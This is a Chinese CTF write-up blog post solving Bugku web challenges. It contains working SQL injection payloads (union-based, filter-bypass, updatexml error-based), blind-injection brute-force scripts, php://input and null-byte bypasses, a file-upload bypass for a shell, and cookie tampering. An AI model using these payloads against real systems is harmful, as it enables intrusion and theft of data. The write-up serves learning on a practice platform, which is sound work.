Bugku-web writeup

最新推荐文章于 2022-04-18 20:21:55 发布
最新推荐文章于 2022-04-18 20:21:55 发布
阅读量509 收藏
点赞数 1
分类专栏： ctf 文章标签： wp
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_51584163/article/details/110733869
版权

前言：

出于某些原因一下题目无法完成：本地保含、点击一百万次、welcome to bugkuctf、过狗一句话、insert into注入、这是一个神奇的登陆框、文件包含2、孙xx的博客、login4以及平台复现其他比赛的某些题目。

web2

f12查看源代码：

图片

计算器

图片

将maxlength改成2再输入值即可。

图片

web基础$_GET

图片

图片

web基础$_POST

图片

图片

矛盾

图片

传入一个能绕过is_numeric的数字即可。

图片

web3

图片

源码中有一串unicode编码，解密即可。

域名解析

图片

把flag.baidu.com 解析到123.206.87.240，windows下修改的文件为：c:\windows\system32\drivers\etc\hosts

图片

图片

你必须让他停下

页面一直刷新，flag会不定时出现。

1.用burpsuite抓包，用repeat模块多go几次

2.写脚本：

import requests
url="http://123.206.87.240:8002/web12/"
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38'
}
while True:
    page_text = requests.get(url=url, headers=headers).text
    print(page_text)

图片

变量1

图片

var_dump() 函数显示关于一个或多个表达式的结构信息，包括表达式的类型与值。数组将递归展开值，通过缩进显示其结构。

$$args是一个可变变量，我们利用var_dump来输出变量的信息。

图片

图片

WEB5

查看源码：

图片

发现是jsfuck（jother）,因为浏览器可以识别，直接放到控制台运行即可。

头等舱

抓包发现flag：

图片

网站被黑

御剑扫目录，发现shell.php

图片

尝试一些弱口令无果，尝试爆破：

图片

管理员系统

源码有注释，base64解密后是test123，应该是密码。

图片

大佬的思路：联系本地管理员，那将访问地址改成127.0.0.1

所以就admin test123登录。

图片

web4

看源码：

图片

url解密：

图片

框框内提交那串字符串即可：

图片

flag在index里

有提示：flag再index中

php伪协议：

图片

解码后：

图片

输入密码查看flag

图片

爆破五位数

# 备份是个好习惯

下载index.php.bak：

图片

1.strstr(str1,str2): 取从str2开始的str1中的一部分字符串。

2.substr(str,start,length): 提取str中start位置开始的长度为length的字符串。

3.parse_str(str): 将字符串解析为变量，例: parse_str(‘a=1&b=1’)

4.md5的碰撞。

因此我们需要用双写kkeyey来绕过key的过滤，并碰撞md5。因为要取？后面的字符串，所以用get传参。

图片

成绩单

sql注入：

图片

  1. 1回显正常，1’回显异常，1’#回显正常。可以判断是字符型注入。
  2. 1’ order by 4#回显正常，1’ order by 5#回显异常，因此有4个回显点。
  3. 读表：

-1’ union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())#

图片

  1. 读列：

-1’ union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name=‘fl4g’)#

图片

  1. 读内容：

-1’ union select 1,2,3,(select skctf_flag from fl4g)#

图片

秋名山老司机

写脚本：

import requests
from lxml import etree
url="http://123.206.87.240:8002/qiumingshan/"
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38'
}
s=requests.session()
page=s.get(url=url,headers=headers).text
tree=etree.HTML(page)
num=tree.xpath('//div/text()')
num=str(num[0])
a=num[-3:]
num=num.replace(a,'')
data={'value':eval(num)}
flag=s.post(url,data=data).text
print(flag)

图片

你得快点

源代码：

图片

响应头里有Flag：

图片

因此我们需要post一个margin值是Flag的base64解码。

脚本：

import requests
import base64
url='http://123.206.87.240:8002/web6/'
s=requests.session()
headers=s.get(url).headers
Flag=base64.b64decode(headers['Flag'])
Flag=Flag.decode()
print(Flag)
Flag=base64.b64decode(Flag.split(':')[1])
print(Flag)
payload={'margin':Flag}
p=s.post(url,data=payload)
print(p.text)

repr() 函数将对象转化为供解释器读取的形式（字符串的形式）。

cookie欺骗

http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA=

可以发现后面是一段base64编码，解码是keys.txt，url中还有line这个参数是控制输出文件的行数的，我们写脚本将index.php的代码读出来。

import requests
for i in range(20):
    url=f'http://123.206.87.240:8002/web11/index.php?line={i}&filename=aW5kZXgucGhw'
    page=requests.get(url)
    print(page.text)

图片

flag在keys.php中，因此我们增加一个cookie：margin=margin，再访问keys.php即可。

http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA=

never give up

源码有提示1.html，访问发现是重定向，查看1.html的源码：

view-source:http://123.206.87.240:8006/test/1p.html

图片

发现有一段密文，经过一系列url和base64解码后得到：

";if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("f4l2a3g.txt");
}
else
{
    print "never never never give up !!!";
}
?>

**stripos(字符串a，字符串b)**函数查找字符串b在字符串a中第一次出现的位置（不区分大小写）。
file_get_contents将整个文件读入一个字符串

$data 是由 file_get_contents() 函数读取变量 $a 的值而得，所以 $a 的值必须为数据流。

在服务器中自定义一个内容为 bugku is a nice plateform! 文件，再把此文件路径赋值给 $a，显然不太现实。因此这里用伪协议 php:// 来访问输入输出的数据流，其中 php://input可以访问原始请求数据中的只读流。这里令 $a = “php://input”，并在请求主体中提交字符串 bugku is a nice plateform!。

**substr()**函数返回字符串的一部分。substr(string,start,length)，length参数可选。如  substr($b,0,1)  就是在参数b里面 ，从0开始返回1个长度的字符串

int eregi(string pattern, string originalstring, [array regs]);

eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。Eregi()可以特别有用的检查有效性字符串,如密码。
**eregi(“111”.substr( b , 0 , 1 ) , " 1114 " ) ∗ ∗ 就 是 判 断 " 1114 " 这 个 字 符 串 里 面 是 否 有 符 合 " 111 " . s u b s t r ( b,0,1),"1114")**就是判断"1114"这个字符串里面是否有符合"111".substr( b,0,1),"1114")∗∗就是判断"1114"这个字符串里面是否有符合"111".substr(b,0,1)这个规则的

图片

之后还要将\x00改成%00，因为请求过程中编码会自动进行URL的编码，在提交请求时导致请求头截断。这个具体过程是由于，如果填的是\x00，在url编码阶段就会被截断b还没被传送至php后台时已经成为了空（即b=’’），到了后台$b为空，就不符合要求了。这个时候如果直接把URL编码的过程手动做了，就不会被截断，就能顺利将数据传送至后台了。

payload:

http://123.206.87.240:8006/test/hello.php?id=0e123&a=php://input&b=%00123456

字符？正则？

 <?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?>

trim() 函数移除字符串两侧的空白字符或其他预定义字符。
举例：

<?php
$str = "Hello World!";
echo $str . "<br>";
echo trim($str,"Hed!");
?>
执行结果：
Hello World!
llo Worl

[[:punct:]]是指所有的符号（比如@、. 等等）
payload:

http://123.206.87.240:8002/web10/?id=keykeyaaaakey:/a/keya@

你从哪里来

图片

Referer的作用是指示一个请求是从哪里链接过来，那么当一个请求并不是由链接触发产生的，那么自然也就不需要指定这个请求的链接来源。

加一个Referer指明我们的来源即可：

图片

md5 collision

找一个md5值为0e开头的字符串即可：

http://123.206.87.240:9009/md5.php?a=s155964671a

程序员本地网站

图片

改X-Forwarded-For:

图片

各种绕过

 <?php 
highlight_file('flag.php'); 
$_GET['id'] = urldecode($_GET['id']); 
$flag = 'flag{xxxxxxxxxxxxxxxxxx}'; 
if (isset($_GET['uname']) and isset($_POST['passwd'])) { 
    if ($_GET['uname'] == $_POST['passwd']) 
 
        print 'passwd can not be uname.'; 
 
    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) 
 
        die('Flag: '.$flag); 
 
    else 
 
        print 'sorry!'; 
 
} 
?>

用数组绕过sha1：
图片

web8

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名，使用数组键值作为变量值。针对数组中的每个元素，将在当前符号表中创建对应的一个变量。

第二个参数type用于指定当某个变量已经存在，而数组中又有同名元素时，extract() 函数如何对待这样的冲突。

该函数返回成功导入到符号表中的变量数目。

例：

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>

file_get_contents()用php://input来绕过。

payload：

http://123.206.87.240:8002/web8/?ac=123&fn=php://input

并再burpsuite中post下面加上123。

细心

御剑扫描发现robots.txt

图片

访问/resusl.php

图片

左下角提示，get传参：?x=admin

图片

求getshell

图片

发现php5没有被过滤上传php，然后抓包，改包。multipart的u大写、Content-Type改成image/jpeg。

图片

多次

图片

异或注入:两个条件相同（同真或同假）即为假。

http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')!=0)--+

如果返回页面显示正常，那就证明length(‘’)==0的，也就是union被过滤了，即回显正常的都是被过滤的。
同理测试出被过滤的字符串有：and，or，union，select

这里我们可以用双写绕过：

判断字段数为2：

?id=2'%20 oorrder by 2--+

判断回显点：

?id=-2' uniunionon seselectlect%20 1,2--+

找表名：

?id=-2' uniunionon seselectlect%20 1,(selselectect group_concat(table_name) from infoorrmation_schema.tables where table_schema=database())--+

图片

找列名：

?id=-2' uniunionon seselectlect%20 1,(selselectect group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1')--+

图片

找表中的内容：

?id=-2' uniunionon seselectlect%20 1,(selselectect flag1 from flag1)--+

图片

?id=-2' uniunionon seselectlect%20 1,(selselectect address from flag1)--+

图片

图片

?id=3'--qwe

图片

报错，说明是数字型注入。

可以盲注，也可以用这里利用**updatexml()**函数报错注入。

首先了解下updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc 
第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。 
第三个参数：new_value，String格式，替换查找到的符合条件的数据 
作用：改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值

而我们的注入语句为：

updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

其中的 concat() 函数是将其连成一个字符串，因此不会符合XPATH_string的格式，从而出现格式错误，爆出

ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

payload：

# 查数据表
http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23

# 查字段
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23
# 查数据
?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23

PHP_encrypt_1

图片

<?php
function encrypt($data,$key)
{
    $key = md5('ISCC');
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) { 
        if ($x == $klen)
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }
    return base64_encode($str);
}
?>

简单解码题。payload：

<?php
$str=base64_decode('fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=');
$key=md5('ISCC');
$x=0;
$char='';
for($i=0; $i < strlen($str); $i++) 
    { 
        if($x == strlen($key))
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }
$flag='';
for($i=0;$i<strlen($str);$i++)
    {
        $flag.=chr((ord($str[$i])-ord($char[$i])+128)%128);
    }
echo $flag;
?>

flag.php

图片

图片

提示了hint，那么http://123.206.87.240:8002/flagphp/?hint=1

读到了一段代码：

<?php 
error_reporting(0); 
include_once("flag.php"); 
$cookie = $_COOKIE['ISecer']; 
if(isset($_GET['hint'])){ 
    show_source(__FILE__); 
} 
elseif (unserialize($cookie) === "$KEY") 
{    
    echo "$flag"; 
}  
$KEY='ISecer:www.isecer.com';

其实上面 K E Y 的 值 还 没 有 被 定 义 ， 上 面 代 码 中 KEY的值还没有被定义，上面代码中 KEY的值还没有被定义，上面代码中KEY的值应该是空字符串’’，而不是下面的值，所以应该是反序列化的值为’’。
于是构造cookie :ISser = s:0:"";

但是注意;(分号)在cookie中不会被正确的上传到服务器，构造URL编码

;的URL编码为%3B

于是在火狐的HackBar插件中传入Cookie ISser = s:0:""%3B

刷新页面即可。

sql注入2

图片

知识点：

1、select substr(‘abcd’ from 3)=>cd

发现只用from的话，就会把对应查询位置的字符以及后面的字符全部查询显示出来，相当于默认长度为后面所有。

select ascii(substr(‘abcd’ from 3))=97

发现只要用ascii码做比较，只会比较查询出来的第一个字母的ascii码，也就是说我们只用from还是能达到一个字母一个字母通过盲注比较出来并拼接。

2、

减

'a'-(1)-''  计算结果为：0-1-0=-1
'a'-(0)-''  计算结果为：0-0-0=0

异或

'a'^(1)^''  计算结果为：0^1^0=1
'a'^(0)^''  计算结果为：0^0^0=0

payload:

admin'-(ascii(substr((passwd)from(i)))={})-'

大佬的脚本：

import requests
hed={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0'}
admin="admin'-(ascii(substr((passwd)from({})))={})-'"
#dat={'uname':admin,'passwd':'123'}
url='http://123.206.87.240:8007/web2/index.php'
ascil=[i for i in range(48,58)]
ascil2=[i for i in range(97,123)]
ascil3=ascil+ascil2
password=''
for i in range(1,33):
    for j in ascil3:
        dat={'uname':admin.format(i,j),'passwd':'123'}
        respons=requests.post(url,headers=hed,data=dat,timeout=4)
        html=respons.content.decode()
        if 'username' in html:
            password=password+chr(j)
            print(password)
            break
print('密码的md5为：',password)

3、passwd=abc123

mid((passwd)from(-1)):3
mid((passwd)from(-2)):23
mid((passwd)from(-3):123

倒着看的第一位都是3，显然不行，无法截取出来，于是想到反转
先反转

REVERSE(MID((passwd)from(-%d))

再去最后一位

mid(REVERSE(MID((passwd)from(%-d)))from(-1))

在比较ASCII

ascii(mid(REVERSE(MID((passwd)from(%-d)))from(-1)))>1

payload：

admin'-(ascii(mid(REVERSE(MID((passwd)from(-"+str(i)+")))from(-1)))="+str(ord(j))+")-

大佬的脚本：

import requests as rq
flag=""
url='http://123.206.87.240:8007/web2/index.php'
cookie = {
'PHPSESSID':'9tto2f03opoarctpl0vsk3njedmvlkqr'
}
for i in range(1,33):
    for j in '0123456789abcdef':
        username="admin'-(ascii(mid(REVERSE(MID((passwd)from(-"+str(i)+")))from(-1)))="+str(ord(j))+")-'"
        data={'uname':username,'passwd':'hu3sky'}
        r=rq.post(url=url,data=data,cookies=cookie)
        print(r.text)
        if "username" in r.text:
            flag=flag+j
            print(flag)
            break

Trim的日记本

御剑发现show.php

图片

江湖魔头

看源码：

图片

看看base64.js：

图片

再看看scripts.js（https://tool.lu/js/解密一下）：

function getCookie(cname) {
    var name = cname + "=";
    var ca = document.cookie.split(';');
    for (var i = 0; i < ca.length; i++) {
        var c = ca[i].trim();
        if (c.indexOf(name) == 0) return c.substring(name.length, c.length)
    }
    return ""
}
function decode_create(temp) {
    var base = new Base64();
    var result = base.decode(temp);
    var result3 = "";
    for (i = 0; i < result.length; i++) {
        var num = result[i].charCodeAt();
        num = num ^ i;
        num = num - ((i % 10) + 2);
        result3 += String.fromCharCode(num)
    }
    return result3
}
function ertqwe() {
    var temp_name = "user";
    var temp = getCookie(temp_name);
    temp = decodeURIComponent(temp);
    var mingwen = decode_create(temp);
    var ca = mingwen.split(';');
    var key = "";
    for (i = 0; i < ca.length; i++) {
        if (-1 < ca[i].indexOf("flag")) {
            key = ca[i + 1].split(":")[2]
        }
    }
    key = key.replace('"', "").replace('"', "");
    document.write('<img id="attack-1" src="image/1-1.jpg">');
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/1-2.jpg"
    }, 1000);
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/1-3.jpg"
    }, 2000);
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/1-4.jpg"
    }, 3000);
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/6.png"
    }, 4000);
    setTimeout(function() {
        alert("ä½ ä½¿ç”¨å¦‚æ¥ç¥žæŽŒæ‰“è´¥äº†è’™è€é­”ï¼Œä½†ä¸çŸ¥é“æ˜¯çœŸèº«è¿˜æ˜¯å‡èº«ï¼Œæäº¤è¯•ä¸€ä¸‹å§!flag{" + md5(key) + "}")
    }, 5000)
}

再看cookie：
图片

注意一下：

图片

这里有Base64.decode()

图片

在控制台解密cookie的顺序为：

var test=getCookie(‘user’)（这里有一个Base64.decode()加密）

test=decodeURIComponent(test)

test=decode_create(test)

得到：

"O:5:\"human\":10:{s:8:\"xueliang\";i:892;s:5:\"neili\";i:736;s:5:\"lidao\";i:99;s:6:\"dingli\";i:100;s:7:\"waigong\";i:0;s:7:\"neigong\";i:0;s:7:\"jingyan\";i:0;s:6:\"yelian\";i:0;s:5:\"money\";i:0;s:4:\"flag\";s:1:\"0\";}"

更改一下money：

"O:5:\"human\":10:{s:8:\"xueliang\";i:892;s:5:\"neili\";i:736;s:5:\"lidao\";i:99;s:6:\"dingli\";i:100;s:7:\"waigong\";i:0;s:7:\"neigong\";i:0;s:7:\"jingyan\";i:0;s:6:\"yelian\";i:0;s:5:\"money\";i:100000;s:6:\"flag\";s:1:\"0\";}"

反过来加密：
注意Base64()函数里不需要这个：

// public method for encoding
    this.encode = function (input) {
        var output = "";
        var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
        var i = 0;
        //input = _utf8_encode(input);
        while (i < input.length) {
            chr1 = input.charCodeAt(i++);
            chr2 = input.charCodeAt(i++);
            chr3 = input.charCodeAt(i++);
            enc1 = chr1 >> 2;
            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
            enc4 = chr3 & 63;
            if (isNaN(chr2)) {
                enc3 = enc4 = 64;
            } else if (isNaN(chr3)) {
                enc4 = 64;
            }
            output = output +
            _keyStr.charAt(enc1) + _keyStr.charAt(enc2) +
            _keyStr.charAt(enc3) + _keyStr.charAt(enc4);
        }
        return output;
    }

图片

根据这个函数我们写一个加密的函数：

原来解密的函数:

function decode_create(temp) {
    var base = new Base64();
    var result = base.decode(temp);
    var result3 = "";
    for (i = 0; i < result.length; i++) {
        var num = result[i].charCodeAt();
        num = num ^ i;
        num = num - ((i % 10) + 2);
        result3 += String.fromCharCode(num)
    }
    return result3
}

encode_create()

var result3 = "";
    for (i = 0; i < test.length; i++) {
        var num =test[i].charCodeAt();
        num = num + ((i % 10) + 2);
        num = num ^ i;
        result3 += String.fromCharCode(num)
    }

顺序：

test="O:5:\"human\":10:{s:8:\"xueliang\";i:892;s:5:\"neili\";i:736;s:5:\"lidao\";i:99;s:6:\"dingli\";i:100;s:7:\"waigong\";i:0;s:7:\"neigong\";i:0;s:7:\"jingyan\";i:0;s:6:\"yelian\";i:0;s:5:\"money\";i:100000;s:4:\"flag\";s:1:\"0\";}"

var result3 = "";
    for (i = 0; i < test.length; i++) {
        var num =test[i].charCodeAt();
        num = num + ((i % 10) + 2);
        num = num ^ i;
        result3 += String.fromCharCode(num)
    }

var base = new Base64();
var output = "";
        var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
        var i = 0;
        //input = _utf8_encode(result3);
        while (i <result3.length) {
            chr1 = result3.charCodeAt(i++);
            chr2 =result3.charCodeAt(i++);
            chr3 = result3.charCodeAt(i++);
            enc1 = chr1 >> 2;
            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
            enc4 = chr3 & 63;
            if (isNaN(chr2)) {
                enc3 = enc4 = 64;
            } else if (isNaN(chr3)) {
                enc4 = 64;
            }
            output = output +
            _keyStr.charAt(enc1) + _keyStr.charAt(enc2) +
            _keyStr.charAt(enc3) + _keyStr.charAt(enc4);
        }

encodeURIComponent(output)

"UTw7PCxqe3FjcC42OThOjWtSUFYwbm99amlzbG0wI3MeHB0aZ1liZxQMWEFDXl8EdUUOCQMOd016B34WUlFWWTVoATEAAX15P3Z2CmYgPTY5Pj90FSUUbWJiZy1iYR52HwsRERUUDUApGShSKRNSVU5WBh8FBQ8OEVxFFTxKPQPEw76m6uvy6Qnj8qax4bC60evQrNC47f%2Fo9%2F3uttnt2pKf1Zyf5IzR0dDN14rtwe6JiIiIhoaJz%2FiC%2BJDMyt3V5oG7gv2G6vzs90s%3D"

图片

有钱了想干啥都行。。。

x1angyu
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
bugkuctf解题-WEB
05-04
bugku writeup，web解题writeup，根据网上的writeup自行解题后整理的日记，与大家分享，大家有新方法的也可以评论中告诉我，共同进步。——CTF菜鸟敬上。
SQL注入绕过知识收集总结
weidaxueshen1的博客
12-14 362
if（（条件），m，n）语句：若条件为真 返回m，若条件为假 返回n mid（database（），m，n）：返回数据库名的第m位之后的n位； substr（“a” from ‘1’ for 1）从字符（从字符开始）1开始取一个字符（基于时间的盲注可用来猜解数据）也可逗号绕过 将其与sleep - if语句结合: select thisdate from bbsmember where i...
BugkuCTF——WEB（3）
qq_43592364的博客
01-23 374
三十一、md5 collision 题目网址：http://123.206.87.240:9009/md5.php 题目要我们传入a的值，参考：https://blog.csdn.net/qq_30464257/article/details/81432446 PHP在处理哈希字符串时，会利用”!=”或”==”来对哈希值进行比较，它把每一个以”0E”开头的哈希值都解释为0，所以如果两个...
BUGKU web--writeup
Sanky0u的博客
08-15 1万+
因为已经看到过很多关于bugku平台上面web题的writeup，我想自己就不需要每道题都写了，只写自己比较有收获的几题的writeup，并且将自己收集到的好几种解法都放上来。1. 文件上传测试这道题提示上传php文件，但选择php文件上传的时候又提示非图片文件。解法1：将一个php文件的后缀名改成.php.jpg或者.php.png，然后选择这个文件，点击上传的时候用burpsuite抓包，改文件
Bugku CTF 每日一题 xxx二手交易市场
彼岸花苏陌的博客
01-17 3313
xxx二手交易市场 打开看见是一个网站 所以从零开始测试 1.首先点开一个商品 往下滑有回复框 但是要先注册 所以等注册了再来测试 2.搜索栏也不能用 暂时放过，不过在二手界面发现了一个搜索框 输入一般的sql查询发现好像过滤了# ‘’“”等 3.求购 公告栏也没什么可以利用的 4.发现登录注册框 先爆破一下，不过有验证码爆破不行还要识别验证码，先放放 5.先注册一个账号 看了一下功能，先上个商品看看? 额 要管理员验证 走不通 邮箱签名那块也是有输入验证 再去看看回复框 好像没什么用 再翻了翻 还有上
bugku平台web部分writeup
test
10-16 4752
前言 很久以前基本就做完了bugku平台上的web题目，最近整理整理一下。 正文 web2 提示：听说聪明的人都能找到答案 链接 flag在源代码中。 计算器 后言 ...
bugku杂项题writeup
11-22
bugku杂项题writeup
2022-工大抗疫-web-writeup1
08-03
2022-工大抗疫-web-writeup1
GKCTF2021-官方WriteUp.pdf
07-06
GKCTF2021-官方WriteUp.pdf
D3CTF2022-官方WriteUp1
08-03
D3CTF2022-官方WriteUp1
eregi函数漏洞
qq_54929891的博客
04-18 630
<?php if(!$_GET['id']) { header('Location: hello.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'no no no no no no no'; return ; } $data = @file_get_contents($a,'r');//eregi搜索字符串，$b的第一个字符和111拼接后检查1114从是否.
Bugku CTF之xxx二手交易市场
花城的博客
01-16 2767
Bugku CTF之xxx二手交易市场0x001 wp0x002 结束语 0x001 wp 打开题目，点击进入链接，是一个二手交易市场平台 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MtO8UwwV-1642260210908)(https://huacheng1122.cn/posts/973fb9c2/s1.png#pic_center)] 开始想的可不可能是修改购买价格，然后发现根本没有购买功能，只能先登录看看 根据我学过的一丢丢漏洞知识，感觉昵称可能有注入，下
SQL注入文件读取通过from for分页读取
weixin_30719711的博客
07-11 413
http://103.238.227.13:10088/?id=1 在读取文件的时候发现不能够一下子全部读取出来。经过百度学习了一下，看到别人使用from for说实在此前真不知道这操作。 先来看一下from for吧 1 mysql> select database(); 2 +------------+ 3 | database() | 4 +-----...
关于数据库的函数
weixin_30505043的博客
07-04 122
Mid(database() from 1 for 1)==mid(databse(),1,1) 在数据库中字符型字段中条件值为false可以获取全部数据 数据库一般有三种报错 (1)Extractvalue()中第一个为错误参数就会错误报出第二个参数语句 (2)Floor(rand(0)*2) 插入虚拟表时出现键相同，导致的报错 (3)Updatexml ()中第一个，第三个，为错...
我的WafBypass之道（SQL注入篇）
weixin_34197488的博客
03-19 403
原帖地址：https://xianzhi.aliyun.com/forum/read/349.html 0x00 前言 去年到现在就一直有人希望我出一篇关于waf绕过的文章，我觉得这种老生常 谈的话题也没什么可写的。 很多人一遇到waf就发懵，不知如何是好，能搜到的各 种姿势也是然并卵。 但是积累姿势的过程也是迭代的，那么就有了此文，用来总 结一些学习和培养突破waf的思想。 可能总结的...
select 1 from ... sql语句中的1代表什么意思？
热门推荐
02-05 2万+
 select  1 from ...， sql语句中的1代表什么意思？查出来是个什么结果？        select 1 from table;与select anycol(目的表集合中的任意一行） from table;与select * from table 从作用上来说是没有差别的，都是查看是否有记录，一般是作条件查询用的。select 1 from 中的1是一常量（可以为任意数
php中$_GET的一些用法
小狮子
02-01 2055
get：参数都体现在url上，可以用于翻页，简单查询，简单状态判断 举例： 如图，welcome.php?a=1, $_GET["a"]就可以获取a的值，和session有一点像。 其实’?’后面的参数都是可以用 $_GET 获取，各个参数是以’&’作为分隔符的。 ...
Bugku-xxx二手交易市场-ctf练习（不用菜刀蚁剑）
lshandel的博客
07-17 850
题目 xxx二手交易市场 描　　述: 本人现实碰到的题目，无提示勿问 (这次题目比较牛逼，感觉实战性非常强。。。也挺有难度的) 首先分析一波 突然给我们这么一个网站，那就随便先点点看吧，看到id=的时候dna就动了感觉可能要注入，试了试发现不太行，决定先换个思路，再吸引到我的是注册 注册并且登录之后可以打开个人中心 思路来了，可能能通过图片一句话木马获得shell 然后破解一波 先随便上传一张图片抓个包 这就找到了提交表单的url：http://114.67.246.176:17576/user/upl
oscp 2023 challenge writeup-medtech-csdn博客
最新发布
10-29
OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中，作者详细讲解了一个名为MedTech的挑战项目，并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值